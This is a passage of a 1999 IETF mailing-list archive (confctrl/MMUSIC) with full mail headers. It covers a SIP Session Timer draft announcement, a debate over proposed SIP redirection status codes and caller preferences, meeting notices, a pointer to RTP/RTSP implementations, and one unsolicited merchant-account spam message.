Content-ID:	<19990226132940.I-D@ietf.org>

--OtherAccess--

--NextPart--


From confctrl-owner  Tue Mar  2 21:09:49 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id VAA12923
	for confctrl-outgoing; Tue, 2 Mar 1999 21:09:49 -0800 (PST)
Received: from venera.isi.edu (venera.isi.edu [128.9.176.32])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id VAA12918
	for <confctrl@zephyr.isi.edu>; Tue, 2 Mar 1999 21:09:46 -0800 (PST)
Received: from mailserver ([202.54.106.237])
	by venera.isi.edu (8.8.7/8.8.6) with SMTP id VAA20512
	for <confctrl@isi.edu>; Tue, 2 Mar 1999 21:09:37 -0800 (PST)
Received: by mailserver with XtraMail-SMTP/POP3-Server (v1.10 58210006074) for <confctrl@isi.edu> at Wed, 3 Mar 99  10:23:17 +0570
Received: from proxy2.ba.best.com (root@proxy2.ba.best.com [206.184.139.13])
	by fpage1.ba.best.com (8.9.2/8.9.2/best.sh) with ESMTP id RAA09102
	for <ravibaid+XRCPT.61616c6f6b4042495351554152452e434f4d@fpage1.ba.best.com>; Mon, 1 Mar 1999 17:38:20 -0800 (PST)
Received: from ietf.org (odin.ietf.org [132.151.1.176])
	by proxy2.ba.best.com (8.9.3/8.9.2/best.in) with ESMTP id RAA16077;
	Mon, 1 Mar 1999 17:27:51 -0800 (PST)
Received: by ietf.org (8.9.1a/8.9.1a) id UAA09278
	for ietf-123-outbound.02@ietf.org; Mon, 1 Mar 1999 20:15:01 -0500 (EST)
Received: from CNRI.Reston.VA.US (localhost [127.0.0.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA05775;
	Mon, 1 Mar 1999 19:00:28 -0500 (EST)
Message-Id: <199903020000.TAA05775@ietf.org>
Mime-Version: 1.0
Content-Type: Multipart/Mixed; Boundary="NextPart"
To: IETF-Announce: ;
Cc: confctrl@ISI.EDU
From: Internet-Drafts@ietf.org
Reply-to: Internet-Drafts@ietf.org
Subject: I-D ACTION:draft-ietf-mmusic-sip-session-timer-01.txt
Date: Mon, 01 Mar 1999 19:00:27 -0500
X-Rcpt-To: aalok@bisquare.com
X-UIDL: 8071cfe004b6c2e508ee0842884f1912
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

--NextPart

A New Internet-Draft is available from the on-line Internet-Drafts directories.
This draft is a work item of the Multiparty Multimedia Session Control 
Working Group of the IETF.

	Title		: SIP Session Timer
	Author(s)	: S. Donovan
	Filename	: draft-ietf-mmusic-sip-session-timer-01.txt
	Pages		: 12
	Date		: 26-Feb-99
	
This document proposes an extension to the SIP specification.  This
extension adds a new message header that is used to specify the
duration of a requested session.
 
The session timer can be used to control the duration of a session
if, for instance, one of the participants in the session wants to
limit the cost of the session.  It can also be used by stateful SIP
Proxy Servers to track the status of sessions for which session state
exists on the servers. Currently a stateful SIP Proxy Server that is
not handling the media stream(s) for the session has no mechanism to
definitively determine the state of all sessions for which it has state.
While the SIP Specification does provide the BYE method for terminating
the session, there is no mechanism for a SIP Proxy Server to detect the
end of a session when the BYE message is not sent or is lost due to
network problems.

A URL for this Internet-Draft is:
http://www.ietf.org/internet-drafts/draft-ietf-mmusic-sip-session-timer-01.txt

Internet-Drafts are also available by anonymous FTP. Login with the username
"anonymous" and a password of your e-mail address. After logging in,
type "cd internet-drafts" and then
	"get draft-ietf-mmusic-sip-session-timer-01.txt".

A list of Internet-Drafts directories can be found in
http://www.ietf.org/shadow.html 
or ftp://ftp.ietf.org/ietf/1shadow-sites.txt


Internet-Drafts can also be obtained by e-mail.

Send a message to:
	mailserv@ietf.org.
In the body type:
	"FILE /internet-drafts/draft-ietf-mmusic-sip-session-timer-01.txt".
	
NOTE:	The mail server at ietf.org can return the document in
	MIME-encoded form by using the "mpack" utility.  To use this
	feature, insert the command "ENCODING mime" before the "FILE"
	command.  To decode the response(s), you will need "munpack" or
	a MIME-compliant mail reader.  Different MIME-compliant mail readers
	exhibit different behavior, especially when dealing with
	"multipart" MIME messages (i.e. documents which have been split
	up into multiple messages), so check your local documentation on
	how to manipulate these messages.
		
		
Below is the data which will enable a MIME compliant mail reader
implementation to automatically retrieve the ASCII version of the
Internet-Draft.

--NextPart
Content-Type: Multipart/Alternative; Boundary="OtherAccess"

--OtherAccess
Content-Type: Message/External-body;
	access-type="mail-server";
	server="mailserv@ietf.org"

Content-Type: text/plain
Content-ID:	<19990226132940.I-D@ietf.org>

ENCODING mime
FILE /internet-drafts/draft-ietf-mmusic-sip-session-timer-01.txt

--OtherAccess
Content-Type: Message/External-body;
	name="draft-ietf-mmusic-sip-session-timer-01.txt";
	site="ftp.ietf.org";
	access-type="anon-ftp";
	directory="internet-drafts"

Content-Type: text/plain
Content-ID:	<19990226132940.I-D@ietf.org>

--OtherAccess--

--NextPart--




From confctrl-owner  Fri Mar  5 01:35:17 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id BAA10167
	for confctrl-outgoing; Fri, 5 Mar 1999 01:35:17 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id BAA10155
	for <confctrl@zephyr.isi.edu>; Fri, 5 Mar 1999 01:35:14 -0800 (PST)
Received: from ellemtel.se (gatekeeper.ellemtel.se [194.218.6.34])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id BAA00258
	for <confctrl@isi.edu>; Fri, 5 Mar 1999 01:35:13 -0800 (PST)
Received: from exchange.ellemtel.se ([130.100.209.7]) by gatekeeper.ellemtel.se with ESMTP id <39426>; Fri, 5 Mar 1999 10:42:34 +0100
Received: from HOMER by exchange.ellemtel.se with SMTP (Microsoft Exchange Internet Mail Service Version 5.0.1460.8)
	id 146WWVRG; Fri, 5 Mar 1999 10:34:36 +0100
Message-ID: <065001be66eb$f3c27df0$49d16482@ellemtel.se>
From: "=?iso-8859-1?Q?Jens_Lundstr=F6m?=" <jens.lundstrom@ellemtel.se>
To: <confctrl@ISI.EDU>
Subject: Explicit Status Codes for Redirection (I-D v.12)
Date: Fri, 5 Mar 1999 10:38:39 +0100
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.0518.4
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.0518.4
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk


Hi all, 

at the risk of beeing flamed for trying to *add_yet_
another_status_code_to_take_care-of*, here are 
three additional Status Codes for Redirection 
who I think will help give more explicit and valuable
behavioral if added to the Draft.

They can be seen as clearifications/extensions to the 
"300 Multiple Choices" code and are the following :


*** 381     Find First in Multiple Choices ***

A seq of ordered choices of URI's, try to connect in 
this order and stop with first that accepts


*** 382     Find Any in Multiple Choices ***

A seq of non-ordered choices of URI's, 
try to connect with them and stop when 
first accepts


*** 383    Find All Multiple Choices ***

Redirect to several URI's, all *should* be 
followed and accept and if not, stop the 
session.


*** 384   Find As Many as Possible Multiple Choices ***

A seq of none ordered URI's, connect with 
as many as possible


Examples of Usage :
================

381 can be used as standard "VAS" service, e.g. 
first try me, then my friend, then my friends friend 
and so on... Stop as soon as some one accepts.

382 as 381 but I do not have a total ordering of my friends

383 can be used when a session is set up and 
where the callee should e.g. both get trough a 
VoIP session and get a homepage 
shown to him (helpdesk scenario).

384 as response used when the initally called 
SIP URL acts as an alias for several other SIP 
URL's, i.e. as a group alias.

Comments :
==========

The 300 response code states only that there are 
multiple choice and that they might have an 
prefeered ordering among them (q-value).
from our prototypin we have found that it 
could be useful to have a clearer semantic in this case.

The behavioral given by 381-384 can be handled 
by a SIP Proxy Server but with regards to performance
 and scaling I would like to see it possible to explicitly 
state the above behavioral and have the SIP UA handle it.

In some sense the "q-value" on pp.37 (I-D v.12) states 
the relative priority of Contacts within a 300 response but 
it does not tell anything of it is a "first" or "all" or "as 
many as possible" behavioral that is wanted. This 
"q-value" should be used within a 381 response and
is what will be used to decide the ordering.

It might be possible to replace the proposed 382 
repsonse by a 381 reponse where "q-values" are 
left out of the "contacts" however I feel it is better to 
have to separate response codes with well defined semantics.

mvh / Jens

-- 
Jens Lundstrom, M.Sc.       e-mail    jens.lundstrom@ellemtel.se
Ellemtel Utvecklings AB     tel       +46.8.681 26 55
MG/EUB                      cellular  +46.70.667 84 98
S-126 25 Stockholm          fax       +46.8.681 20 66
Sweden                      http://www.ellemtel.se



From confctrl-owner  Fri Mar  5 13:08:11 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id NAA03772
	for confctrl-outgoing; Fri, 5 Mar 1999 13:08:11 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id NAA03767
	for <confctrl@zephyr.isi.edu>; Fri, 5 Mar 1999 13:08:10 -0800 (PST)
Received: from dirty.research.bell-labs.com (dirty.research.bell-labs.com [204.178.16.6])
	by tnt.isi.edu (8.8.7/8.8.6) with SMTP id NAA12865
	for <confctrl@isi.edu>; Fri, 5 Mar 1999 13:08:09 -0800 (PST)
Received: from nova.dnrc.bell-labs.com ([135.180.131.5]) by dirty; Fri Mar  5 16:06:15 EST 1999
Received: from dnrc.bell-labs.com (arrakis [135.180.130.41])
	by nova.dnrc.bell-labs.com (8.9.1/8.9.1) with ESMTP id QAA17448;
	Fri, 5 Mar 1999 16:06:14 -0500 (EST)
Message-ID: <36E0469F.91FACAB0@dnrc.bell-labs.com>
Date: Fri, 05 Mar 1999 16:03:27 -0500
From: Jonathan Rosenberg <jdrosen@dnrc.bell-labs.com>
X-Mailer: Mozilla 4.04 [en] (WinNT; I)
MIME-Version: 1.0
To: "Jens LundstrÂm" <jens.lundstrom@ellemtel.se>
CC: confctrl@ISI.EDU
Subject: Re: Explicit Status Codes for Redirection (I-D v.12)
References: <065001be66eb$f3c27df0$49d16482@ellemtel.se>
Content-Type: text/plain; charset=iso-8859-1
X-MIME-Autoconverted: from 8bit to quoted-printable by nova.dnrc.bell-labs.com id QAA17448
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by zephyr.isi.edu id NAA03768
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

There is a subtle underlying assumption with this proposal which
warrants discussion. The assumption is that it is the server which makes
the determination about whether its find first, find any, find all, etc.
As you point out, different services are enabled depending on the
interpretation of the Contact list. However, I would argue that it is
the caller who ultimately specifies what the service they want is, not
the server.

For example, when I call help@microsoft.com, I want to reach just one
person. If the server returns 383, what does that mean? I don't want to
speak with each one. I want only one of them. Whats needed is way for me
to tell the server that I want just one, and not a group. This, in fact,
is one of the motivations for our caller preferences draft,
draft-ietf-mmusic-sip-caller-00.txt. This draft allows a caller to
specify their preferences for the call. These are then merged with
administrator and callee preferences. For example, I might call
help@microsoft.com and express a preference for a single person, with
video, that speaks Spanish. I might then get redirected to a priority
listed set (by q value) of microsoft personnel that speak Spanish and
have video capabilities. 

Thanks,
Jonathan R.



Jens Lundström wrote:
> 
> Hi all,
> 
> at the risk of beeing flamed for trying to *add_yet_
> another_status_code_to_take_care-of*, here are
> three additional Status Codes for Redirection
> who I think will help give more explicit and valuable
> behavioral if added to the Draft.
> 
> They can be seen as clearifications/extensions to the
> "300 Multiple Choices" code and are the following :
> 
> *** 381     Find First in Multiple Choices ***
> 
> A seq of ordered choices of URI's, try to connect in
> this order and stop with first that accepts
> 
> *** 382     Find Any in Multiple Choices ***
> 
> A seq of non-ordered choices of URI's,
> try to connect with them and stop when
> first accepts
> 
> *** 383    Find All Multiple Choices ***
> 
> Redirect to several URI's, all *should* be
> followed and accept and if not, stop the
> session.
> 
> *** 384   Find As Many as Possible Multiple Choices ***
> 
> A seq of none ordered URI's, connect with
> as many as possible
> 
> Examples of Usage :
> ================
> 
> 381 can be used as standard "VAS" service, e.g.
> first try me, then my friend, then my friends friend
> and so on... Stop as soon as some one accepts.
> 
> 382 as 381 but I do not have a total ordering of my friends
> 
> 383 can be used when a session is set up and
> where the callee should e.g. both get trough a
> VoIP session and get a homepage
> shown to him (helpdesk scenario).
> 
> 384 as response used when the initally called
> SIP URL acts as an alias for several other SIP
> URL's, i.e. as a group alias.
> 
> Comments :
> ==========
> 
> The 300 response code states only that there are
> multiple choice and that they might have an
> prefeered ordering among them (q-value).
> from our prototypin we have found that it
> could be useful to have a clearer semantic in this case.
> 
> The behavioral given by 381-384 can be handled
> by a SIP Proxy Server but with regards to performance
>  and scaling I would like to see it possible to explicitly
> state the above behavioral and have the SIP UA handle it.
> 
> In some sense the "q-value" on pp.37 (I-D v.12) states
> the relative priority of Contacts within a 300 response but
> it does not tell anything of it is a "first" or "all" or "as
> many as possible" behavioral that is wanted. This
> "q-value" should be used within a 381 response and
> is what will be used to decide the ordering.
> 
> It might be possible to replace the proposed 382
> repsonse by a 381 reponse where "q-values" are
> left out of the "contacts" however I feel it is better to
> have to separate response codes with well defined semantics.
> 
> mvh / Jens
> 
> --
> Jens Lundstrom, M.Sc.       e-mail    jens.lundstrom@ellemtel.se
> Ellemtel Utvecklings AB     tel       +46.8.681 26 55
> MG/EUB                      cellular  +46.70.667 84 98
> S-126 25 Stockholm          fax       +46.8.681 20 66
> Sweden                      http://www.ellemtel.se

-- 
Jonathan D. Rosenberg                       Lucent Technologies
Member of Technical Staff                   101 Crawfords Corner Rd.
High Speed Networks Research                Holmdel, NJ 07733
FAX:   (732) 834-5379                       Rm. 4C-526
EMAIL: jdrosen@bell-labs.com
URL: http://www.cs.columbia.edu/~jdrosen

From confctrl-owner  Mon Mar  8 16:21:39 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id QAA21647
	for confctrl-outgoing; Mon, 8 Mar 1999 16:21:39 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id QAA21633
	for <confctrl@zephyr.isi.edu>; Mon, 8 Mar 1999 16:21:36 -0800 (PST)
Received: from bettina.informatik.uni-bremen.de (root@bettina.informatik.uni-bremen.de [134.102.224.3] (may be forged))
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id QAA16078
	for <confctrl@isi.edu>; Mon, 8 Mar 1999 16:21:27 -0800 (PST)
Received: from dickmann.informatik.uni-bremen.de (ruin.informatik.uni-bremen.de [134.102.224.52])
	by bettina.informatik.uni-bremen.de (8.8.7/8.8.7) with SMTP id BAA07006;
	Tue, 9 Mar 1999 01:21:26 +0100 (MET)
Message-Id: <199903090021.BAA07006@bettina.informatik.uni-bremen.de>
X-Sender: jo@127.0.0.1
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0
Date: Tue, 09 Mar 1999 01:20:54 +0100
To: confctrl@ISI.EDU
From: Joerg Ott <jo@Informatik.Uni-Bremen.DE>
Subject: Subject: MMUSIC in MN: Further agenda items solicited
Cc: Joerg Ott <jo@Informatik.Uni-Bremen.DE>,
        Eve Schooler <schooler@cs.caltech.edu>, mjh@aciri.org,
        rlang@std.sri.com
In-Reply-To: <199903081928.UAA12420@mail.tellique.de>
References: <199903081841.KAA07193@liszt.cs.caltech.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Folks,

as you may know MMUSIC has tentatively been scheduled for 

	Wednesday, March 17 at 0900-1130

		in parallel to: ipfc, ipp, ldapext, smime, idr,
                      ops area open meeting, poisson.

Besides talking about SIP and SAP, it seems there is some room on the
agenda.  So we'd like to take this opportunity to solicit input on further
agenda items.  Please email requests to all four co-chairs.

Ruth, Eve, Mark, and Joerg


From confctrl-owner  Wed Mar 10 10:51:25 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id KAA08294
	for confctrl-outgoing; Wed, 10 Mar 1999 10:51:25 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id KAA08289
	for <confctrl@zephyr.isi.edu>; Wed, 10 Mar 1999 10:51:23 -0800 (PST)
Received: from sparcy.minervasys.com (sparcy.minervasys.com [204.247.143.10])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id KAA02868
	for <confctrl@ISI.EDU>; Wed, 10 Mar 1999 10:51:17 -0800 (PST)
Received: from kampc ([204.247.143.86]) by sparcy.minervasys.com
          (Post.Office MTA v3.5.2 release 221 ID# 158-56370U1000L100S0V35)
          with SMTP id com for <confctrl@ISI.EDU>;
          Wed, 10 Mar 1999 10:52:09 -0800
Date: Wed, 10 Mar 1999 11:02:53 -0800
From: "Kam Lee" <klee@minervasys.com>
Subject: RTP & RTSP
To: confctrl@ISI.EDU
X-Mailer: Z-Mail Pro 6.1 (Win32 - 021297), NetManage Inc.
X-Priority: 3 (Normal)
References: <199902221751.JAA09096@coho.halcyon.com> 
Message-ID: <Chameleon.921092699.klee@kampc>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=ISO-8859-1
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Can somebody point me where can I find source code for RTP and RTSP? Thank's in advance!

Best regards,
Kam

--------------------------------------------------------
E-mail: klee@minervasys.com
Date: 03/10/99
Time: 11:02:55
Voice:650-404-1235
Fax: 650-940-1450

--------------------------------------------------------


From confctrl-owner  Wed Mar 10 18:49:39 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA28455
	for confctrl-outgoing; Wed, 10 Mar 1999 18:49:39 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA28450
	for <confctrl@zephyr.isi.edu>; Wed, 10 Mar 1999 18:49:38 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA20239
	for <confctrl@ISI.EDU>; Wed, 10 Mar 1999 18:49:37 -0800 (PST)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id VAA17969;
	Wed, 10 Mar 1999 21:49:35 -0500 (EST)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id VAA20978;
	Wed, 10 Mar 1999 21:49:34 -0500 (EST)
Message-ID: <36E72F3E.6D26DBF6@cs.columbia.edu>
Date: Wed, 10 Mar 1999 21:49:34 -0500
From: Henning Schulzrinne <hgs@cs.columbia.edu>
Organization: Columbia University, Dept. of Computer Science
X-Mailer: Mozilla 4.5 [en] (X11; I; SunOS 5.6 sun4u)
X-Accept-Language: en
MIME-Version: 1.0
To: Kam Lee <klee@minervasys.com>
CC: confctrl@ISI.EDU
Subject: Re: RTP & RTSP
References: <199902221751.JAA09096@coho.halcyon.com> <Chameleon.921092699.klee@kampc>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

Kam Lee wrote:
> 
> Can somebody point me where can I find source code for RTP and RTSP? Thank's in advance!

Implementations that I know about are at
http://www.cs.columbia.edu/~hgs/rtp and
http://www.cs.columbia.edu/~hgs/rtsp. If any are missing, please let me
know. 



-- 
Henning Schulzrinne   http://www.cs.columbia.edu/~hgs

From confctrl-owner  Thu Mar 11 15:17:40 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA14305
	for confctrl-outgoing; Thu, 11 Mar 1999 15:17:40 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA14300
	for <confctrl@zephyr.isi.edu>; Thu, 11 Mar 1999 15:17:37 -0800 (PST)
Received: from mw.3com.com (intergate.usr.com [149.112.20.3])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA09962
	for <confctrl@ISI.EDU>; Thu, 11 Mar 1999 15:17:32 -0800 (PST)
Received: from mwgate02.mw.3com.com by mw.3com.com (8.8.5/3.1.090690-3Com Corporation)
	id RAA07855; Thu, 11 Mar 1999 17:21:55 -0600 (CST)
Received: by mwgate02.mw.3com.com(Lotus SMTP MTA v4.6.3 (778.2 1-4-1999))  id 86256731.00807B41 ; Thu, 11 Mar 1999 17:23:21 -0600
X-Lotus-FromDomain: 3COM@3COM-MWGATE
From: "Sunil Cheruvu" <Sunil_Cheruvu@mw.3com.com>
To: Joerg Ott <jo@Informatik.Uni-Bremen.DE>
cc: confctrl@ISI.EDU, Joerg Ott <jo@Informatik.Uni-Bremen.DE>,
        Eve Schooler <schooler@cs.caltech.edu>, mjh@aciri.org,
        rlang@std.sri.com
Message-ID: <86256731.0080795B.00@mwgate02.mw.3com.com>
Date: Thu, 11 Mar 1999 17:23:52 -0600
Subject: Re: Subject: MMUSIC in MN: Further agenda items solicited
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk




Hi guys,

where is MMUSIC being held?  How do I attend the same?

Thanks,
Sunil Cheruvu.






Joerg Ott <jo@Informatik.Uni-Bremen.DE> on 03/08/99 06:20:54 PM

To:   confctrl@ISI.EDU
cc:   Joerg Ott <jo@Informatik.Uni-Bremen.DE>, Eve Schooler
      <schooler@cs.caltech.edu>, mjh@aciri.org, rlang@std.sri.com (Sunil
      Cheruvu/MW/US/3Com)
Subject:  Subject: MMUSIC in MN: Further agenda items solicited




Folks,

as you may know MMUSIC has tentatively been scheduled for

     Wednesday, March 17 at 0900-1130

          in parallel to: ipfc, ipp, ldapext, smime, idr,
                      ops area open meeting, poisson.

Besides talking about SIP and SAP, it seems there is some room on the
agenda.  So we'd like to take this opportunity to solicit input on further
agenda items.  Please email requests to all four co-chairs.

Ruth, Eve, Mark, and Joerg







From confctrl-owner  Tue Mar 16 15:28:48 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id PAA22156
	for confctrl-outgoing; Tue, 16 Mar 1999 15:28:48 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id PAA22151
	for <confctrl@zephyr.isi.edu>; Tue, 16 Mar 1999 15:28:46 -0800 (PST)
Received: from postoffice.mr.net (dialup.MR.Net [137.192.180.6])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id PAA19380
	for <confctrl@isi.edu>; Tue, 16 Mar 1999 15:28:45 -0800 (PST)
From: storassa@hotmail.com
Received: by postoffice.mr.net (8.8.8/8.8.8) with ESMTP id RAA11148
	  at Tue, 16 Mar 1999 17:28:40 -0600 (CST)
	  SMTP "HELO" = hotmail.com
	  But _really_ from host066.44IETF.MR.Net [209.32.92.66]
	  SMTP "MAIL FROM" = storassa@hotmail.com
	  SMTP "RCPT TO" = 
Message-ID: <36EEE96D.759ADDD2@hotmail.com>
Date: Tue, 16 Mar 1999 17:29:49 -0600
Reply-To: storassa@hotmail.com
X-Mailer: Mozilla 4.51 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: pint@lists.research.bell-labs.com, ietf-pin@lists.research.bell-labs.com,
        sigtran@baynetworks.com, confctrl@ISI.EDU,
        iptel@lists.research.bell-labs.com, megaco@baynetworks.com
CC: abrusilovsky@lucent.com
Subject: FYI: PIN mail exploder
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

At the PIN BOF a number of people asked me to re-post an announcement
regarding PIN mailing list. We aim to please:

The PIN mailing list is located at
ietf-pin@lists.research.bell-labs.com.

To subscribe or unsubscribe yourself to the mailing list, send E-mail to
ietf-pin-request@lists.research.bell-labs.com with the single word
"subscribe" or "unsubscribe" (without the quotes) in the body of the
message. Please do not send subscription requests to
ietf-pin@lists.research.bell-labs.com.

Regards,
Alec Brusilovsky


From confctrl-owner  Wed Mar 17 18:44:37 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id SAA21456
	for confctrl-outgoing; Wed, 17 Mar 1999 18:44:37 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id SAA21451
	for <confctrl@zephyr.isi.edu>; Wed, 17 Mar 1999 18:44:35 -0800 (PST)
From: List Manager Account <list-mgr@ISI.EDU>
Received: from firewall.agf.fr (firewall.agf.fr [194.98.34.2])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id SAA02724;
	Wed, 17 Mar 1999 18:44:33 -0800 (PST)
Received: by firewall.agf.fr; id DAA03608; Thu, 18 Mar 1999 03:25:39 +0100 (CET)
Received: from 1cust42.tnt28.nyc3.da.uu.net(208.255.109.42) by firewall.agf.fr via smap (3.0)
	id xmaee0249; Thu, 18 Mar 99 03:25:20 +0100
DATE: 17 Mar 99 8:44:33 PM
Reply-to: accusalzs@gcp.co.uk
Message-ID: <sEVuQfENvp5YM5>
TO: accusalz.net@agf.fr
SUBJECT: Increase your sales by 1500%!!!
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

YOU CAN INCREASE YOUR SALES 1500% 
  Overnight by Accepting Major Credit Cards! 

  Are you turning away your share of more than 375 
  million sales? That's how many credit cards are being used 
  nationwide. Charges in 1997 alone topped $1 Trillion! 

  Regardless of your credit history... 
  You can accept Visa, Mastercard, American Express and 
  Discover/Novus, all with the lowest startup cost! 

  You are Pre-Approved! 
  You are 100% GUARANTEED to get a merchant account! 

  Remember your ID number and receive FREE Check Guarantee. 

  CALL NOW!!! 
  1-877-SWIPE-CC 
  ID# 25 

From confctrl-owner  Fri Mar 19 08:15:23 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id IAA04282
	for confctrl-outgoing; Fri, 19 Mar 1999 08:15:23 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id IAA04269
	for <confctrl@zephyr.isi.edu>; Fri, 19 Mar 1999 08:15:20 -0800 (PST)
Received: from omzrelay.mcit.com (omzrelay.mcit.com [166.37.204.49])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id IAA09593
	for <confctrl@ISI.EDU>; Fri, 19 Mar 1999 08:15:19 -0800 (PST)
Received: from omta3.mcit.com (omta3.mcit.com [166.37.204.5])
          by omzrelay.mcit.com (8.8.7/) with ESMTP
	  id QAA11666 for <confctrl@ISI.EDU>; Fri, 19 Mar 1999 16:15:01 GMT
Received: from localHost ([166.35.151.149]) by omta3.mcit.com
          (InterMail v03.02.05 118 121 101) with SMTP
          id <19990319161453.CSVK20027@localHost> for <confctrl@ISI.EDU>;
          Fri, 19 Mar 1999 10:14:53 -0600
Date: Fri, 19 Mar 1999 10:13 -0600 (CST)
From: John Hearty <John.H.Hearty@mci.com>
X-Mailer: MailRoom for Internet v2.3g (www.SierraSol.com)
To: Confctrl <confctrl@ISI.EDU>
Subject: Caller preference draft comments
Message-Id: <19990319161453.CSVK20027@localHost>
Sender: owner-confctrl@zephyr.isi.edu
Precedence: bulk

 Nice work on this draft.  A few comments:

 I think the header/parameter approach to express the type of termination
the caller wants can work well.  I agree with Jonathan that interacting
CPL scripts between the caller and callee can get extremely complex.
With a finite set of preference parameters to consider, it should be
possible to update the CPL draft to allow these to be considered in
callee CPL scripts.  That seems to be the best place to direct the
interoperability efforts, since CPL can have more flexibility to deal
with it.

 I had a suggested addition to the parameters on page 10.  It may be
worthwhile to add "numeric" to the service-tag to cover numeric only
pagers.  I also noticed at the beginning of that section cp-params
was missing the description-param option.  Looking at the entire param
list, there is alot of specific information in it.  Maybey we need
a way to make it extensible for those specifics not yet dreamed up.

 I think some clarification is needed in section 6.4 for the cancel-feature.
I assume this means AFTER the first 200 OK, i.e. after the first 200 OK,
send a CANCEL for any other 200 OKs received.

John Hearty
MCI Worldcom
Global Network Evolution
(972)729-7976


From confctrl-owner  Sat Mar 20 09:39:30 1999
Return-Path: <owner-confctrl>
Received: (from majordom@localhost)
	by zephyr.isi.edu (8.8.7/8.8.6) id JAA23474
	for confctrl-outgoing; Sat, 20 Mar 1999 09:39:30 -0800 (PST)
Received: from tnt.isi.edu (tnt.isi.edu [128.9.128.128])
	by zephyr.isi.edu (8.8.7/8.8.6) with ESMTP id JAA23469
	for <confctrl@zephyr.isi.edu>; Sat, 20 Mar 1999 09:39:29 -0800 (PST)
Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20])
	by tnt.isi.edu (8.8.7/8.8.6) with ESMTP id JAA08943
	for <confctrl@ISI.EDU>; Sat, 20 Mar 1999 09:39:27 -0800 (PST)
Received: from opus.cs.columbia.edu (opus.cs.columbia.edu [128.59.20.100])
	by cs.columbia.edu (8.9.1/8.9.1) with ESMTP id MAA07707;
	Sat, 20 Mar 1999 12:39:26 -0500 (EST)
Received: from cs.columbia.edu (erlang.cs.columbia.edu [128.59.19.141])
	by opus.cs.columbia.edu (8.9.1/8.9.1) with ESMTP id MAA01162;
